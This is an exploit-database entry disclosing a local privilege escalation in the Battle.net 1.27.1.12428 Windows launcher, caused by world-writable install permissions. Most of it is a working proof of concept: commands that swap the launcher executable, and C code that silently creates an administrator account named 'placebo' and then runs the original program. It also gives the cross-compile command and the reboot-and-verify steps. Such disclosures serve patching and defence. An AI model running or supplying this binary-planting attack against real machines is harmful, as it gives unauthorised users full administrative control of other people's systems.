Battle.net 1.27.1.12428 insecure file permissions Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-10-13 | Type : local | Platform : windows
This exploit / vulnerability Battle.net 1.27.1.12428 insecure file permissions is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Battle.Net 1.27.1.12428 - Insecure File Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://www.blizzard.com/en-gb/download/ ( Battle Net Desktop )
# Version Patch: 1.27.1.12428
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local



Vulnerability Description:

Battle.Net Launcher (Battle.net.exe) suffers from an elevation of
privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full) for 'Users' group, making the entire directory
'Battle.net' and its files and sub-dirs world-writable.

## Insecure Folder Permission

C:\Program Files (x86)>icacls Battle.net

Battle.net BUILTIN\Users:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
CREATOR OWNER:(OI)(CI)(F)

## Insecure File Permission

C:\Program Files (x86)\Battle.net>icacls "Battle.net.exe"

Battle.net.exe BUILTIN\Users:(I)(F)
BUILTIN\Administrators:(I)(F)
FREY-OMEN\30698:(I)(F)


## Local Privilege Escalation Proof of Concept
#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

C:\Program Files (x86)\Battle.net> whoami

lowpriv

C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux

## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe

#4. Transfer created 'Battle.net.exe' to the Windows Host

#5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files
(x86)\Battle.net>' Folder

C:\Program Files (x86)\Battle.net> move
C:\Users\lowpriv\Downloads\Battle.net.exe .

#6. Check that exploit admin user doesn't exists

C:\Program Files (x86)\Battle.net> net user placebo

The user name could not be found

#6. Reboot the Computer

C:\Program Files (x86)\Battle.net> shutdown /r

#7. Login & look at that new Admin

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None